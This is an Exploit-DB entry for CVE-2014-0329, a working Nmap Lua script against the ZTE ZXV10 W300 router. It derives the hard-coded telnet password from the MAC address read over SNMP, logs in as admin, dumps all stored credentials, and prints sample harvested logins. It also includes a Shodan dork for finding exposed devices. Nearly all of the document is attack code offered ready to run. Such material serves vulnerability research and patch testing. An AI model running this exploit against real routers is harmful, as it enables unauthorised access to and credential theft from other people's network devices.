标题: ZTE ZXV10 W300 Router - Hard-Coded Credentials EDB-ID: 31527 CVE: 2014-0329 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-02-09 漏洞利用脚本: # Exploit Title: ZTE ZXV10 W300 router contains hardcoded credentials
# Date: 03 Feb 2014
# Exploit Author: Cesar Neira
# Vendor Homepage: http://wwwen.zte.com.cn/
# Version: ZTE ZXV10 W300 v2.1
# CVE : CVE-2014-0329
# Dork (Shodan): Basic realm="index.htm"
# References:
http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html


local nmap = require "nmap"
local stdnse = require "stdnse"
local snmp = require "snmp"
local vulns = require "vulns"

description = [[
ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the
telnet service on the device. The username is "admin" and the password is
"XXXXairocon" where "XXXX" is the last four characters of the device's MAC
address. The MAC address is obtainable over SNMP with community string public.
]]
author = "Cesar Neira"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "exploit", "intrusive"}

---
--
-- @usage nmap -sU -sS -p U:161,T:23 --script=airocon example.org
-- @output
-- PORT    STATE         SERVICE
-- 23/tcp  open          telnet
-- 161/udp open|filtered snmp
-- 
-- Host script results:
-- | airocon: 
-- |   VULNERABLE:
-- |   ZTE ZXV10 W300 router contains hardcoded credentials
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2014-0329
-- |     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
-- |     Description:
-- |       ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the telnet
-- |       service on the device. The username is "admin" and the password is "XXXXairocon"
-- |       where "XXXX" is the last four characters of the device's MAC address. The MAC address
-- |       is obtainable over SNMP with community string public.
-- |     Disclosure date: 2014-2-3
-- |     Exploit results:
-- |       admin:1234
-- |       support:1234
-- |       admin:0E91airocon
-- |     References:
-- |       http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0329
-- |       http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html
-- |_      http://www.kb.cert.org/vuls/id/228886

-- @args community SNMP community (Default: public)
--
---


local DEFAULT_COMMUNITY = "public"


hostrule = function(host)
    local snmp_port, telnet_port
    
    snmp_port = nmap.get_port_state(host, {number=161, protocol="udp"})
    if not snmp_port  and not (snmp_port.state == "open" or snmp_port.state == "open|filtered") then
        return false
    end
    
    telnet_port = nmap.get_port_state(host, {number=23, protocol="tcp"})
    if not telnet_port and not telnet_port.state == "open" then
        return false
    end
    
    return true
end


local get_mac = function(host, community)
 local socket, status, response
 
 socket = nmap.new_socket("udp")
 socket:set_timeout(5000)

 status, response = socket:connect(host, 161)
 
 if not status then
     socket:close()
     return status, response
 end
 
 local payload, request

 request = snmp.buildGetRequest({}, ".1.3.6.1.2.1.2.2.1.6.10000")
 payload = snmp.encode(snmp.buildPacket(request, 0, community))
 
 status, response = socket:send(payload)
 
 if not status then
     socket:close()
     return status, response
 end
 
    status, response = socket:receive_bytes(1)
    
    if not status then
        socket:close()
        return status, response
    end
    
    socket:close()
    
    local result
 result = snmp.fetchFirst(response)
    
    if not result then
        return false, "Unexpected response value."
    end
    
    return true, stdnse.tohex(result)
end


local dump_creds = function(host, user, password)
    local socket, status, response
    
    socket = nmap.new_socket("tcp")
    socket:set_timeout(5000)
    
    status, response = socket:connect(host, 23)
    
    if not status then
        socket:close()
     return status, response
 end
 
 local payload
 payload = user .. "\r" .. password .. "\rsh\rlogin show\rexit\r"
 
 status, response = socket:send(payload)
 
 if not status then
     socket:close()
     return status, response
 end
 
 status, response = socket:receive_buf("exit", false)
 
 if not status then
     socket:close()
     return status, response
 end
 
 socket:close()
 
 return true, response
end


local parse_response = function(response)
    local index
    
 index = string.find(response, "Username +Password +Priority")
 
 if not index then
     return false, "Unexpected response value."
 end

 index = string.find(response, "\r\n", index) + 2
 response = string.sub(response, index)

    local result, endl, line
    result = {}
 
 index = 0
 endl = string.find(response, "\r\n", index)

 while endl do
     line = string.sub(response, index, endl)
     line = string.gsub(line, "\r", "")
        line = string.gsub(line, "^ +", "")
        line = string.gsub(line, " +$", "")
        line = string.gsub(line, " +", " ")
        
        local user, pass, prio
        for user, pass, prio in string.gmatch(line, "([^ ]+) ([^ ]+) ([^ ]+)") do
            local aux = {}
            aux['username'] = user
            aux['password'] = pass
            aux['priority'] = prio
            table.insert(result, aux)
        end
     
     index = endl + 2
     endl = string.find(response, "\r\n", index)
 end
 
    return true, result
end


action = function(host)
    local vuln = {
        title = "ZTE ZXV10 W300 router contains hardcoded credentials",
        state = vulns.STATE.NOT_VULN,
        IDS = {CVE = 'CVE-2014-0329'},
        risk_factor = "High",
        scores = {
            CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
        },
        description = [[
ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the telnet
service on the device. The username is "admin" and the password is "XXXXairocon"
where "XXXX" is the last four characters of the device's MAC address. The MAC address
is obtainable over SNMP with community string public.]],
        references = {
            "http://www.kb.cert.org/vuls/id/228886",
            "http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html"
        },
        dates = {
            disclosure = {year = 2014, month = 2, day = 3},
        },
        exploit_results = {},
    }

    local community
    community = stdnse.get_script_args(SCRIPT_NAME .. ".community") or DEFAULT_COMMUNITY
    
    local status, response
    
    status, response = get_mac(host, community)    
    if not status then
        return response
    end
    
    local password
    password = string.upper(string.sub(response, 9)) .. "airocon"
    
    status, response = dump_creds(host, "admin", password)
    if not status then
        return response
    end
    
    status, response = parse_response( response )
    if not status then
        return response
    end
    
    vuln.state = vulns.STATE.EXPLOIT
    for _, data in pairs(response) do
        table.insert(vuln.exploit_results, data.username .. ":" .. data.password)
    end
    
    return vulns.Report:new(SCRIPT_NAME, host):make_output(vuln)
end URL: https://www.exploit-db.com/exploits/31527